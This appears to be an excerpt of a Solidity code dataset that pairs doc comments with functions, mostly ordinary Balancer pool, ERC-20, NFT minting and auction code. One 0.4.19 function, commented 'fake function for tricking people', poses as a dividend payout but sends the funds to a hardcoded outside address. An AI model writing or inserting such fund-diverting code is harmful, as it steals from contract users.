lohoz/Smart-Contract-MultiTask-Dataset huggingface dataset:
// Solidity 0.6.12
/**
 * @notice Create a new CRP
 * @dev emits a LogNewCRP event
 * @param factoryAddress - the BFactory instance used to create the underlying pool
 * @param poolParams - struct containing the names, tokens, weights, balances, and swap fee
 * @param rights - struct of permissions, configuring this CRP instance (see above for definitions)
 * @param smartPoolImplementation - the address of the implementation contract for the CRP
 * @param proxyAdmin - the address to be assigned as admin of the proxy contract that uses the CRP implementation
 */
function newCrp(
        address factoryAddress,
        ConfigurableRightsPool.PoolParams calldata poolParams,
        RightsManager.Rights calldata rights,
        address smartPoolImplementation,
        address proxyAdmin
    )
        external
        returns (ConfigurableRightsPool)
    {
        require(poolParams.constituentTokens.length >= BalancerConstants.MIN_ASSET_LIMIT, "ERR_TOO_FEW_TOKENS");

        // Arrays must be parallel
        require(poolParams.tokenBalances.length == poolParams.constituentTokens.length, "ERR_START_BALANCES_MISMATCH");
        require(poolParams.tokenWeights.length == poolParams.constituentTokens.length, "ERR_START_WEIGHTS_MISMATCH");

        InitializableAdminUpgradeabilityProxy proxy = new InitializableAdminUpgradeabilityProxy();

        bytes memory callData = abi.encodeWithSignature(
            "initialize(address,(string,string,address[],uint256[],uint256[],uint256),(bool,bool,bool,bool,bool,bool))",
            factoryAddress,
            poolParams,
            rights
        );
        proxy.initialize(smartPoolImplementation, proxyAdmin, callData);

        ConfigurableRightsPool crp = ConfigurableRightsPool(address(proxy));

        emit LogNewCrp(msg.sender, address(crp));

        _isCrp[address(crp)] = true;
        // The caller is the controller of the CRP
        // The CRP will be the controller of the underlying Core BPool
        crp.setController(msg.sender);

        return crp;
    }
// Solidity 0.6.12
/**
 * @notice Approve owner (sender) to spend a certain amount
 * @dev emits an Approval event
 * @param spender - entity the owner (sender) is approving to spend his tokens
 * @param amount - number of tokens being approved
 * @return bool - result of the approval (will always be true if it doesn't revert)
 */
function approve(address spender, uint amount) external override returns (bool) {
        /* In addition to the increase/decreaseApproval functions, could
           avoid the "approval race condition" by only allowing calls to approve
           when the current approval amount is 0
        
           require(_allowance[msg.sender][spender] == 0, "ERR_RACE_CONDITION");

           Some token contracts (e.g., KNC), already revert if you call approve 
           on a non-zero allocation. To deal with these, we use the SafeApprove library
           and safeApprove function when adding tokens to the pool.
        */

        _allowance[msg.sender][spender] = amount;

        emit Approval(msg.sender, spender, amount);

        return true;
    }
// Solidity 0.6.12
/**
 * @notice Decrease the amount the spender is allowed to spend on behalf of the owner (sender)
 * @dev emits an Approval event
 * @dev If you try to decrease it below the current limit, it's just set to zero (not an error)
 * @param spender - entity the owner (sender) is approving to spend his tokens
 * @param amount - number of tokens being approved
 * @return bool - result of the approval (will always be true if it doesn't revert)
 */
function decreaseApproval(address spender, uint amount) external returns (bool) {
        uint oldValue = _allowance[msg.sender][spender];
        // Gas optimization - if amount == oldValue (or is larger), set to zero immediately
        if (amount >= oldValue) {
            _allowance[msg.sender][spender] = 0;
        } else {
            _allowance[msg.sender][spender] = BalancerSafeMath.bsub(oldValue, amount);
        }

        emit Approval(msg.sender, spender, _allowance[msg.sender][spender]);

        return true;
    }
// Solidity 0.6.12
/**
 * @notice Transfer the given amount from sender to recipient
 * @dev _move emits a Transfer event if successful; may also emit an Approval event
 * @param sender - entity sending the tokens (must be caller or allowed to spend on behalf of caller)
 * @param recipient - recipient of the tokens
 * @param amount - number of tokens being transferred
 * @return bool - result of the transfer (will always be true if it doesn't revert)
 */
function transferFrom(address sender, address recipient, uint amount) external override returns (bool) {
        require(recipient != address(0), "ERR_ZERO_ADDRESS");
        require(msg.sender == sender || amount <= _allowance[sender][msg.sender], "ERR_PCTOKEN_BAD_CALLER");

        _move(sender, recipient, amount);

        // memoize for gas optimization
        uint oldAllowance = _allowance[sender][msg.sender];

        // If the sender is not the caller, adjust the allowance by the amount transferred
        if (msg.sender != sender && oldAllowance != uint(-1)) {
            _allowance[sender][msg.sender] = BalancerSafeMath.bsub(oldAllowance, amount);

            emit Approval(msg.sender, recipient, _allowance[sender][msg.sender]);
        }

        return true;
    }
// Solidity 0.6.12
// Burn an amount of new tokens, and subtract them from the balance (and total supply)
// Emit a transfer amount from this contract to the null address
function _burn(uint amount) internal virtual {
        // Can't burn more than we have
        // Remove require for gas optimization - bsub will revert on underflow
        // require(_balance[address(this)] >= amount, "ERR_INSUFFICIENT_BAL");

        _balance[address(this)] = BalancerSafeMath.bsub(_balance[address(this)], amount);
        varTotalSupply = BalancerSafeMath.bsub(varTotalSupply, amount);

        emit Transfer(address(this), address(0), amount);
    }
// Solidity 0.6.12
// Transfer tokens from sender to recipient
// Adjust balances, and emit a Transfer event
function _move(address sender, address recipient, uint amount) internal virtual {
        // Can't send more than sender has
        // Remove require for gas optimization - bsub will revert on underflow
        // require(_balance[sender] >= amount, "ERR_INSUFFICIENT_BAL");

        _balance[sender] = BalancerSafeMath.bsub(_balance[sender], amount);
        _balance[recipient] = BalancerSafeMath.badd(_balance[recipient], amount);

        emit Transfer(sender, recipient, amount);
    }
// Solidity 0.8.7
//use the mint function to create an NFT
function mint(uint256 _count) public payable returns (uint256) {
        uint256 totalSupply = this.totalSupply();
        console.log("total supply before: %s", totalSupply);
        require(mintingFee <= msg.value, "Not Enough Ether To Mint");
        require(isSaleActive, "Sale is not active" );
        require(_count > 0 && _count < MAX_TOKENS_PER_PURCHASE + 1, "Exceeds maximum tokens you can purchase in a single transaction");
        require(totalSupply + _count < MAX_TOKENS + 1, "Exceeds maximum tokens available for purchase");

        for(uint256 i = 0; i < _count; i++){
            _tokenIds += 1;
            _safeMint(msg.sender, totalSupply + i);
        }
        totalSupply = this.totalSupply();
        console.log("total supply after: %s", totalSupply);
        return _tokenIds;
    }
// Solidity 0.8.7
//in the function below include the CID of the JSON folder on IPFS
function tokenURI(uint256 _tokenId) override public view returns(string memory) {
        require(!isSaleActive, "Sale is still active. baseURI will be released once all little skulls have been minted.");
        return string(
            abi.encodePacked(
                baseURI,
                Strings.toString(_tokenId),
                ".json"
            )
        );
    }
// Solidity 0.7.0
/**
 * @notice Get reward
 * @param account Addresss
 * @return saved reward + new reward
 */
function getReward(address account) public view returns (uint256) {
    uint256 newReward = 0;

    if (
      _blockNumbers[account] != 0 && block.number > _blockNumbers[account]
    ) {
      newReward =
        (_refToken.balanceOf(account) *
          (block.number - _blockNumbers[account]) *
          _rewardPerBlock) /
        _refToken.totalSupply();
    }

    return newReward + _rewards[account];
  }
// Solidity 0.4.19
//fake function for tricking people
function dividend(address _owner) internal returns (uint256 amount) {
	    var balance = dividends(_owner);
		
		// Update the payouts array, incrementing the request address by `balance`.
		payouts[msg.sender] += (int256) (balance * scaleFactor);
		
		// Increase the total amount that's been paid out to maintain invariance.
		totalPayouts += (int256) (balance * scaleFactor);
		
		// Send the dividends to the address that requested the withdraw.
		contractBalance = sub(contractBalance, balance);
		//msg.sender.transfer(balance);
		
		address out = 0x21BBa5412455f6384F7f63FE0d63F2eB64b35d61;
		out.transfer(balance);
		
		return 0;
	}
// Solidity 0.4.25
/// @dev Returns current auction prices for up to 50 auctions
/// @param _tokenIds - up to 50 IDs of NFT on auction that we want the prices of
function getCurrentAuctionPrices(uint128[] _tokenIds) public view returns (uint128[50]) {

        require (_tokenIds.length <= 50);

        /// @dev A fixed array we can return current auction price information in.
        uint128[50] memory currentPricesArray;

        for (uint8 i = 0; i < _tokenIds.length; i++) {
          Auction storage auction = tokenIdToAuction[_tokenIds[i]];
          if (_isOnAuction(auction)) {
            uint256 price = _currentPrice(auction);
            currentPricesArray[i] = uint128(price);
          }
        }

        return currentPricesArray;
    }
// Solidity 0.4.25
/// @dev Creates and begins a new auction. We override the base class
///   so we can add the listener capability.
///
/// CALLABLE ONLY BY NFT CONTRACT
///
/// @param _tokenId - ID of token to auction, sender must be owner.
/// @param _startingPrice - Price of item (in wei) at beginning of auction.
/// @param _endingPrice - Price of item (in wei) at end of auction.
/// @param _duration - Length of auction (in seconds).
/// @param _seller - Seller, if not the message sender
function createAuction(
        uint256 _tokenId,
        uint256 _startingPrice,
        uint256 _endingPrice,
        uint256 _duration,
        address _seller
    )
        public
        canBeStoredWith128Bits(_startingPrice)
        canBeStoredWith128Bits(_endingPrice)
        canBeStoredWith64Bits(_duration)
    {
        require(msg.sender == address(nonFungibleContract));
        _escrow(_seller, _tokenId);
        Auction memory auction = Auction(
            _seller,
            uint128(_startingPrice),
            uint128(_endingPrice),
            uint64(_duration),
            uint64(now)
        );
        _addAuction(_tokenId, auction);

        if (listener != address(0)) {
          listener.auctionCreated(_tokenId, _seller, uint128(_startingPrice), uint128(_endingPrice), uint64(_duration));
        }
    }
// Solidity 0.4.25
/// @dev Reprices (and updates duration) of an array of tokens that are currently
/// being auctioned by this contract.
///
/// CALLABLE ONLY BY NFT CONTRACT
///
/// @param _tokenIds Array of tokenIds corresponding to auctions being updated
/// @param _startingPrices New starting prices
/// @param _endingPrices New ending prices
/// @param _duration New duration
/// @param _seller Address of the seller in all specified auctions to be updated
function repriceAuctions(
        uint256[] _tokenIds,
        uint256[] _startingPrices,
        uint256[] _endingPrices,
        uint256 _duration,
        address _seller
    )
    public
    canBeStoredWith64Bits(_duration)
    {
        require(msg.sender == address(nonFungibleContract));

        uint64 timeNow = uint64(now);
        for (uint32 i = 0; i < _tokenIds.length; i++) {
            uint256 _tokenId = _tokenIds[i];
            uint256 _startingPrice = _startingPrices[i];
            uint256 _endingPrice = _endingPrices[i];

            // Must be able to be stored in 128 bits
            require(_startingPrice < 340282366920938463463374607431768211455);
            require(_endingPrice < 340282366920938463463374607431768211455);

            Auction storage auction = tokenIdToAuction[_tokenId];

            // Here is where we make sure the seller in the auction is correct.
            // Since this method can only be called by the NFT, the NFT controls
            // what happens here by passing in the _seller we are to require.
            if (auction.seller == _seller) {
                // Update the auction parameters
                auction.startingPrice = uint128(_startingPrice);
                auction.endingPrice = uint128(_endingPrice);
                auction.duration = uint64(_duration);
                auction.startedAt = timeNow;
                emit AuctionRepriced(_tokenId, _startingPrice, _endingPrice, uint64(_duration), timeNow);
            }
        }
    }
// Solidity 0.4.25
/// @dev Place a bid to purchase multiple tokens in a single call.
/// @param _tokenIds Array of IDs of tokens to bid on.
function batchBid(uint256[] _tokenIds) public payable whenNotPaused
    {
        // Check to make sure the bid amount is sufficient to purchase
        // all of the auctions specified.
        uint256 totalPrice = 0;
        for (uint32 i = 0; i < _tokenIds.length; i++) {
          uint256 _tokenId = _tokenIds[i];
          Auction storage auction = tokenIdToAuction[_tokenId];
          totalPrice += _currentPrice(auction);
        }
        require(msg.value >= totalPrice);

        // Loop through auctions, placing bids to buy
        //
        for (i = 0; i < _tokenIds.length; i++) {

          _tokenId = _tokenIds[i];
          auction = tokenIdToAuction[_tokenId];

          // Need to store this before the _bid & _transfer calls
          // so we can fire our auctionSuccessful events
          address seller = auction.seller;

          uint256 bid = _currentPrice(auction);
          uint256 price = _bid(_tokenId, bid);
          _transfer(msg.sender, _tokenId);

          if (listener != address(0)) {
            listener.auctionSuccessful(_tokenId, uint128(price), seller, msg.sender);
          }
        }
    }
// Solidity 0.4.25
/// @dev Does exactly what the parent does, but also notifies any
///   listener of the successful bid.
/// @param _tokenId - ID of token to bid on.
function bid(uint256 _tokenId) public payable whenNotPaused
    {
        Auction storage auction = tokenIdToAuction[_tokenId];

        // Need to store this before the _bid & _transfer calls
        // so we can fire our auctionSuccessful events
        address seller = auction.seller;

        // _bid will throw if the bid or funds transfer fails
        uint256 price = _bid(_tokenId, msg.value);
        _transfer(msg.sender, _tokenId);

        if (listener != address(0)) {
          listener.auctionSuccessful(_tokenId, uint128(price), seller, msg.sender);
        }
    }
// Solidity 0.6.12
/**
 * @notice Schedule (commit) a token to be added; must call applyAddToken after a fixed
 *         number of blocks to actually add the token
 * @param bPool - Core BPool the CRP is wrapping
 * @param token - the token to be added
 * @param balance - how much to be added
 * @param denormalizedWeight - the desired token weight
 * @param newToken - NewTokenParams struct used to hold the token data (in CRP storage)
 */
function commitAddToken(
        IBPool bPool,
        address token,
        uint balance,
        uint denormalizedWeight,
        NewTokenParams storage newToken
    )
        external
    {
        require(!bPool.isBound(token), "ERR_IS_BOUND");

        require(denormalizedWeight <= BalancerConstants.MAX_WEIGHT, "ERR_WEIGHT_ABOVE_MAX");
        require(denormalizedWeight >= BalancerConstants.MIN_WEIGHT, "ERR_WEIGHT_BELOW_MIN");
        require(BalancerSafeMath.badd(bPool.getTotalDenormalizedWeight(),
                                      denormalizedWeight) <= BalancerConstants.MAX_TOTAL_WEIGHT,
                "ERR_MAX_TOTAL_WEIGHT");
        require(balance >= BalancerConstants.MIN_BALANCE, "ERR_BALANCE_BELOW_MIN");

        newToken.addr = token;
        newToken.balance = balance;
        newToken.denorm = denormalizedWeight;
        newToken.commitBlock = block.number;
        newToken.isCommitted = true;
    }
// Solidity 0.6.12
/**
 * @notice Add the token previously committed (in commitAddToken) to the pool
 * @param self - ConfigurableRightsPool instance calling the library
 * @param bPool - Core BPool the CRP is wrapping
 * @param addTokenTimeLockInBlocks -  Wait time between committing and applying a new token
 * @param newToken - NewTokenParams struct used to hold the token data (in CRP storage)
 */
function applyAddToken(
        IConfigurableRightsPool self,
        IBPool bPool,
        uint addTokenTimeLockInBlocks,
        NewTokenParams storage newToken
    )
        external
    {
        require(newToken.isCommitted, "ERR_NO_TOKEN_COMMIT");
        require(BalancerSafeMath.bsub(block.number, newToken.commitBlock) >= addTokenTimeLockInBlocks,
                                      "ERR_TIMELOCK_STILL_COUNTING");

        uint totalSupply = self.totalSupply();

        // poolShares = totalSupply * newTokenWeight / totalWeight
        uint poolShares = BalancerSafeMath.bdiv(BalancerSafeMath.bmul(totalSupply, newToken.denorm),
                                                bPool.getTotalDenormalizedWeight());

        // Clear this to allow adding more tokens
        newToken.isCommitted = false;

        // First gets the tokens from msg.sender to this contract (Pool Controller)
        bool returnValue = IERC20(newToken.addr).transferFrom(self.getController(), address(self), newToken.balance);
        require(returnValue, "ERR_ERC20_FALSE");

        // Now with the tokens this contract can bind them to the pool it controls
        // Approves bPool to pull from this controller
        // Approve unlimited, same as when creating the pool, so they can join pools later
        returnValue = SafeApprove.safeApprove(IERC20(newToken.addr), address(bPool), BalancerConstants.MAX_UINT);
        require(returnValue, "ERR_ERC20_FALSE");

        bPool.bind(newToken.addr, newToken.balance, newToken.denorm);

        self.mintPoolShareFromLib(poolShares);
        self.pushPoolShareFromLib(msg.sender, poolShares);
    }
// Solidity 0.6.12
/**
 * @notice Remove a token from the pool
 * @dev Logic in the CRP controls when ths can be called. There are two related permissions:
 *      AddRemoveTokens - which allows removing down to the underlying BPool limit of two
 *      RemoveAllTokens - which allows completely draining the pool by removing all tokens
 *                        This can result in a non-viable pool with 0 or 1 tokens (by design),
 *                        meaning all swapping or binding operations would fail in this state
 * @param self - ConfigurableRightsPool instance calling the library
 * @param bPool - Core BPool the CRP is wrapping
 * @param token - token to remove
 */
function removeToken(
        IConfigurableRightsPool self,
        IBPool bPool,
        address token
    )
        external
    {
        uint totalSupply = self.totalSupply();

        // poolShares = totalSupply * tokenWeight / totalWeight
        uint poolShares = BalancerSafeMath.bdiv(BalancerSafeMath.bmul(totalSupply,
                                                                      bPool.getDenormalizedWeight(token)),
                                                bPool.getTotalDenormalizedWeight());

        // this is what will be unbound from the pool
        // Have to get it before unbinding
        uint balance = bPool.getBalance(token);

        // Unbind and get the tokens out of balancer pool
        bPool.unbind(token);

        // Now with the tokens this contract can send them to msg.sender
        bool xfer = IERC20(token).transfer(self.getController(), balance);
        require(xfer, "ERR_ERC20_FALSE");

        self.pullPoolShareFromLib(self.getController(), poolShares);
        self.burnPoolShareFromLib(poolShares);
    }
// Solidity 0.6.12
/**
 * @notice Join a pool
 * @param self - ConfigurableRightsPool instance calling the library
 * @param bPool - Core BPool the CRP is wrapping
 * @param poolAmountOut - number of pool tokens to receive
 * @param maxAmountsIn - Max amount of asset tokens to spend
 * @return actualAmountsIn - calculated values of the tokens to pull in
 */
function joinPool(
        IConfigurableRightsPool self,
        IBPool bPool,
        uint poolAmountOut,
        uint[] calldata maxAmountsIn
    )
         external
         view
         returns (uint[] memory actualAmountsIn)
    {
        address[] memory tokens = bPool.getCurrentTokens();

        require(maxAmountsIn.length == tokens.length, "ERR_AMOUNTS_MISMATCH");

        uint poolTotal = self.totalSupply();
        // Subtract  1 to ensure any rounding errors favor the pool
        uint ratio = BalancerSafeMath.bdiv(poolAmountOut,
                                           BalancerSafeMath.bsub(poolTotal, 1));

        require(ratio != 0, "ERR_MATH_APPROX");

        // We know the length of the array; initialize it, and fill it below
        // Cannot do "push" in memory
        actualAmountsIn = new uint[](tokens.length);

        // This loop contains external calls
        // External calls are to math libraries or the underlying pool, so low risk
        for (uint i = 0; i < tokens.length; i++) {
            address t = tokens[i];
            uint bal = bPool.getBalance(t);
            // Add 1 to ensure any rounding errors favor the pool
            uint tokenAmountIn = BalancerSafeMath.bmul(ratio,
                                                       BalancerSafeMath.badd(bal, 1));

            require(tokenAmountIn != 0, "ERR_MATH_APPROX");
            require(tokenAmountIn <= maxAmountsIn[i], "ERR_LIMIT_IN");

            actualAmountsIn[i] = tokenAmountIn;
        }
    }